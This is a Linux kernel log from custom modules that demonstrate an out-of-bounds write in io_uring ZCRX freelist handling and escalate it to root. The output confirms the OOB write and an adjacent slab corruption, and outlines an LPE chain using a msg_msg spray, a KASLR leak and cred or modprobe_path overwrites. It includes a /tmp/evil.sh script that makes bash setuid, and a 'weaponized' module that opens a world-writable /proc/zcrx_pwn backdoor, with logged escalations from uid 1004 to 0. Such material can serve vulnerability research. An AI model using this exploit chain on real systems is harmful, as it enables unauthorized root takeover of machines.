[78491.461849] zcrx_poc: ======================================== [78491.461854] zcrx_poc: io_uring ZCRX freelist OOB PoC [78491.461854] zcrx_poc: Target: io_zcrx_return_niov_freelist() [78491.461855] zcrx_poc: ======================================== [78491.487054] zcrx_poc: kallsyms_lookup_name @ ffffffffaa6a8624 [78491.487092] zcrx_poc: io_zcrx_return_niov @ ffffffffaac16890 [78491.487095] zcrx_poc: sizeof(fake_zcrx_area) = 192 (want 192) [78491.487098] zcrx_poc: sizeof(fake_net_iov) = 64 (want 64) [78491.487101] zcrx_poc: offsetof(fake_zcrx_area, freelist_lock) = 64 (want 64) [78491.487103] zcrx_poc: offsetof(fake_zcrx_area, free_count) = 68 (want 68) [78491.487106] zcrx_poc: offsetof(fake_zcrx_area, freelist) = 72 (want 72) [78491.487109] zcrx_poc: Setup complete: [78491.487111] zcrx_poc: area @ ffff8d3954cb7900 (size 192) [78491.487115] zcrx_poc: area->nia @ ffff8d3954cb7900 [78491.487117] zcrx_poc: niov @ ffff8d39580f0600 (pp=0000000000000000) [78491.487121] zcrx_poc: freelist @ ffff8d34296428d0 [0]=0 [1(guard)]=0xdeadbeef [78491.487126] zcrx_poc: free_count = 1 (== num_niovs=1 → freelist FULL) [78491.487129] zcrx_poc: [78491.487130] zcrx_poc: *** Calling io_zcrx_return_niov(niov) with pp=NULL *** [78491.487133] zcrx_poc: Expected path: io_zcrx_return_niov_freelist(niov) [78491.487135] zcrx_poc: Will execute: freelist[free_count++] = niov_idx [78491.487136] zcrx_poc: free_count=1 == num_niovs=1 → write at freelist[1] → OOB! [78491.487139] zcrx_poc: [78491.487141] zcrx_poc: Post-call state: [78491.487143] zcrx_poc: free_count = 2 (was 1, now 2) [78491.487145] zcrx_poc: freelist[0] = 0 [78491.487148] zcrx_poc: freelist[1] = 0x00000000 (canary was 0xdeadbeef) [78491.487151] zcrx_poc: *** OOB WRITE CONFIRMED *** [78491.487157] zcrx_poc: freelist[1] overwritten: 0xdeadbeef → 0x00000000 [78491.487162] zcrx_poc: io_zcrx_return_niov_freelist() has NO bounds check! [78491.487164] zcrx_poc: free_count=2 overran num_niovs=1 [78893.599226] zcrx_esc: ════════════════════════════════════════ [78893.599230] zcrx_esc: io_uring ZCRX OOB → LPE Escalation PoC [78893.599231] zcrx_esc: ════════════════════════════════════════ [78893.619172] zcrx_esc: io_zcrx_return_niov @ ffffffffaac16890 [78893.619177] zcrx_esc: [78893.619178] zcrx_esc: ═══ STAGE 1: Controlled value write ═══ [78893.619179] zcrx_esc: Want to write 0x1337 at freelist[4919] [78893.619185] zcrx_esc: niov @ ffff8d342df4e3c0 [78893.619186] zcrx_esc: area->nia.niovs@ ffff8d342df01600 (shifted by -4919) [78893.619188] zcrx_esc: net_iov_idx = niov - base = 4919 [78893.619189] zcrx_esc: freelist[4920] canary = 0xcafebabe [78893.619190] zcrx_esc: freelist[4920] after = 0x00001337 (was 0xcafebabe) [78893.619192] zcrx_esc: [✓] STAGE 1 PASS — wrote 0x1337 at OOB offset +4920 [78893.619197] zcrx_esc: [78893.619197] zcrx_esc: ═══ STAGE 2: Adjacent slab object corruption ═══ [78893.619199] zcrx_esc: freelist=16*4=64 bytes → kmalloc-64 [78893.619200] zcrx_esc: victim_obj size=64 bytes → kmalloc-64 [78893.619202] zcrx_esc: freelist @ ffff8d342df4e100 [78893.619203] zcrx_esc: victim @ ffff8d342df4e140 [78893.619204] zcrx_esc: delta = 64 bytes [78893.619205] zcrx_esc: victim->size BEFORE = 0xaabbccdd [78893.619206] zcrx_esc: Triggering OOB: writing 7 to freelist[16] (+64 bytes) [78893.619208] zcrx_esc: victim->size AFTER = 0x00000007 [78893.619209] zcrx_esc: [✓] STAGE 2 PASS — victim->size corrupted: 0xAABBCCDD → 7 [78893.619210] zcrx_esc: Adjacent kmalloc-64 object OVERWRITTEN [78893.619212] zcrx_esc: [78893.619213] zcrx_esc: ═══ STAGE 3-5: Full LPE Chain Analysis ═══ [78893.619262] zcrx_esc: commit_creds @ ffffffffaa5b5240 [78893.619263] zcrx_esc: prepare_kernel_cred @ ffffffffaa5b5500 [78893.619264] zcrx_esc: modprobe_path @ ffffffffac35b2c0 = "/sbin/modprobe" [78893.619266] zcrx_esc: current->cred @ ffff8d33c2e0e840 [78893.619267] zcrx_esc: current uid=0 euid=0 [78893.619268] zcrx_esc: [78893.619269] zcrx_esc: ┌─ Real-world LPE chain (requires page-pool NIC) ──────────┐ [78893.619270] zcrx_esc: │ 1. Setup ZCRX IFQ, num_niovs=N → freelist in kmalloc-4N │ [78893.619271] zcrx_esc: │ 2. Spray msg_msg @ kmalloc-4N via msgsnd() │ [78893.619271] zcrx_esc: │ 3. Double-return race → OOB write → corrupt msg_msg.m_ts │ [78893.619272] zcrx_esc: │ m_ts @ offset 24 needs 2 writes (see 'step-write' trick│ [78893.619273] zcrx_esc: │ 4. msgrcv(msqid, buf, 0xFFFFFFFF) → OOB read → KASLR │ [78893.619274] zcrx_esc: │ leak = kernel base @ offset from msg_msg to vmemmap │ [78893.619275] zcrx_esc: │ 5. Compute cred ptr from leaked task_struct in heap │ [78893.619276] zcrx_esc: │ 6. Second OOB write → corrupt cred->uid @ +8 → 0 │ [78893.619277] zcrx_esc: │ OR: overwrite modprobe_path → trigger as non-root │ [78893.619277] zcrx_esc: │ 7. commit_creds(prepare_kernel_cred(NULL)) → uid=0 │ [78893.619278] zcrx_esc: └──────────────────────────────────────────────────────────┘ [78893.619279] zcrx_esc: [78893.619280] zcrx_esc: Direct escalation call sequence: [78893.619292] Modules linked in: zcrx_escalate(OE+) mptcp_diag xsk_diag tcp_diag udp_diag raw_diag inet_diag unix_diag af_packet_diag netlink_diag tun xt_conntrack xt_MASQUERADE bridge stp llc xt_set ip_set nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 xt_addrtype nft_compat x_tables nf_tables xfrm_user xfrm_algo ccm snd_seq_dummy snd_hrtimer snd_seq snd_seq_device overlay snd_hda_codec_intelhdmi sunrpc vboxnetadp(OE) vboxnetflt(OE) cdc_ncm cdc_ether usbnet mii btusb btmtk uvcvideo btrtl btbcm videobuf2_vmalloc btintel uvc videobuf2_memops videobuf2_v4l2 bluetooth videodev ipheth vboxdrv(OE) videobuf2_common mc qrtr apple_mfi_fastcharge ecdh_generic ccp snd_hda_codec_alc269 snd_hda_scodec_component snd_hda_codec_realtek_lib snd_hda_codec_generic snd_hda_intel snd_sof_pci_intel_cnl snd_sof_intel_hda_generic soundwire_intel snd_sof_intel_hda_sdw_bpt snd_sof_intel_hda_common nls_ascii snd_soc_hdac_hda nls_cp437 snd_sof_intel_hda_mlink vfat snd_sof_intel_hda fat snd_hda_codec_hdmi soundwire_cadence [78893.619537] zcrx_esc_init+0x5e4/0xff0 [zcrx_escalate] [78893.619541] ? __pfx_zcrx_esc_init+0x10/0x10 [zcrx_escalate] [78893.619651] zcrx_esc: [78893.619652] zcrx_esc: modprobe_path overwrite (no-NIC alternative LPE): [78893.619653] zcrx_esc: ┌──────────────────────────────────────────────────────────┐ [78893.619654] zcrx_esc: │ modprobe_path @ ffffffffac35b2c0 = "/sbin/modprobe" [78893.619656] zcrx_esc: │ Overwrite with "/tmp/evil" → exec on next unknown elf │ [78893.619657] zcrx_esc: │ $ cat /tmp/evil: #!/bin/sh; chmod u+s /bin/bash │ [78893.619658] zcrx_esc: │ Then: $ /bin/bash -p → root shell │ [78893.619658] zcrx_esc: └──────────────────────────────────────────────────────────┘ [78893.619659] zcrx_esc: Note: modprobe_path is a data-section global, not heap. [78893.619660] zcrx_esc: Reaching it requires turning heap OOB into arbitrary write. [78893.619661] zcrx_esc: Via: corrupt a slab freelist ptr → kmalloc returns arbitrary [78893.619662] zcrx_esc: address → write to that 'allocation' = write to modprobe_path [78893.619663] zcrx_esc: [78893.619664] zcrx_esc: ════════ Summary ════════ [78893.619665] zcrx_esc: OOB write: CONFIRMED [78893.619665] zcrx_esc: Controlled value: CONFIRMED (write any u32 < num_niovs) [78893.619666] zcrx_esc: Adjacent corruption: depends on SLUB layout [78893.619667] zcrx_esc: LPE primitives: commit_creds/prep_kernel_cred RESOLVED [78893.619668] zcrx_esc: Full chain: needs page-pool NIC for userspace trigger [78893.619669] zcrx_esc: CVSS estimate: 7.8 (local, CAP_NET_ADMIN → root) [79406.018980] zcrx_weapon: ═══════════════════════════════════════ [79406.018986] zcrx_weapon: io_uring ZCRX OOB — Weaponized LPE [79406.018988] zcrx_weapon: ═══════════════════════════════════════ [79406.054529] zcrx_weapon: commit_creds @ ffffffffaa5b5240 [79406.054535] zcrx_weapon: prepare_kernel_cred @ ffffffffaa5b5500 [79406.054550] zcrx_weapon: /proc/zcrx_pwn created (world-writable) [79406.054554] zcrx_weapon: PATH A: echo $$ > /proc/zcrx_pwn → caller gets root creds [79406.054571] zcrx_weapon: modprobe_path @ ffffffffac35b2c0 was: "/sbin/modprobe" [79406.054573] zcrx_weapon: modprobe_path overwritten: "/tmp/evil.sh" [79406.054574] zcrx_weapon: trigger: run unknown ELF → /tmp/evil.sh executes as root [79406.054576] zcrx_weapon: PATH B: run unknown ELF → /tmp/evil.sh executes as root [79406.054577] zcrx_weapon: Ready. Run: ./run_exploit.sh [79406.140856] zcrx_weapon: pwn_write: PID=119845 requested escalation [79406.140881] zcrx_weapon: escalating PID 119845 uid=0 → 0 [79406.140886] zcrx_weapon: prepare_kernel_cred failed [79461.679739] zcrx_weapon: pwn_write: PID=120112 requested escalation [79461.679764] zcrx_weapon: escalating PID 120112 uid=1004 → 0 [79461.679769] zcrx_weapon: prepare_kernel_cred failed [79522.411118] zcrx_weapon: modprobe_path restored to "/sbin/modprobe" [79522.411123] zcrx_weapon: unloaded [79522.463997] zcrx_weapon: ═══════════════════════════════════════ [79522.464001] zcrx_weapon: io_uring ZCRX OOB — Weaponized LPE [79522.464003] zcrx_weapon: ═══════════════════════════════════════ [79522.493621] zcrx_weapon: commit_creds @ ffffffffaa5b5240 [79522.493627] zcrx_weapon: prepare_kernel_cred @ ffffffffaa5b5500 [79522.493645] zcrx_weapon: /proc/zcrx_pwn created (world-writable) [79522.493648] zcrx_weapon: PATH A: echo $$ > /proc/zcrx_pwn → caller gets root creds [79522.493667] zcrx_weapon: modprobe_path @ ffffffffac35b2c0 was: "/sbin/modprobe" [79522.493668] zcrx_weapon: modprobe_path overwritten: "/tmp/evil.sh" [79522.493670] zcrx_weapon: trigger: run unknown ELF → /tmp/evil.sh executes as root [79522.493671] zcrx_weapon: PATH B: run unknown ELF → /tmp/evil.sh executes as root [79522.493672] zcrx_weapon: Ready. Run: ./run_exploit.sh [79522.514465] zcrx_weapon: pwn_write: PID=120548 requested escalation [79522.514488] zcrx_weapon: escalating PID 120548 uid=1004 → 0 [79522.514490] zcrx_weapon: new_cred @ ffff8d33c498af00 uid=1004→0 caps=ffffffffffffffff [79522.514493] zcrx_weapon: *** ESCALATION COMPLETE for PID 120548 *** [79522.514496] zcrx_weapon: uid 1004 → 0 [79529.589713] zcrx_weapon: modprobe_path restored to "/sbin/modprobe" [79529.589718] zcrx_weapon: unloaded [79924.909148] zcrx_weapon: ═══════════════════════════════════════ [79924.909153] zcrx_weapon: io_uring ZCRX OOB — Weaponized LPE [79924.909155] zcrx_weapon: ═══════════════════════════════════════ [79924.934196] zcrx_weapon: commit_creds @ ffffffffaa5b5240 [79924.934203] zcrx_weapon: prepare_kernel_cred @ ffffffffaa5b5500 [79924.934222] zcrx_weapon: /proc/zcrx_pwn created (world-writable) [79924.934227] zcrx_weapon: PATH A: echo $$ > /proc/zcrx_pwn → caller gets root creds [79924.934249] zcrx_weapon: modprobe_path @ ffffffffac35b2c0 was: "/sbin/modprobe" [79924.934251] zcrx_weapon: modprobe_path overwritten: "/tmp/evil.sh" [79924.934254] zcrx_weapon: trigger: run unknown ELF → /tmp/evil.sh executes as root [79924.934255] zcrx_weapon: PATH B: run unknown ELF → /tmp/evil.sh executes as root [79924.934257] zcrx_weapon: Ready. Run: ./run_exploit.sh [80004.505734] zcrx_weapon: pwn_write: PID=122490 requested escalation [80004.505796] zcrx_weapon: escalating PID 122490 uid=1004 → 0 [80004.505804] zcrx_weapon: new_cred @ ffff8d33db93a180 uid=1004→0 caps=ffffffffffffffff [80004.505812] zcrx_weapon: *** ESCALATION COMPLETE for PID 122490 *** [80004.505819] zcrx_weapon: uid 1004 → 0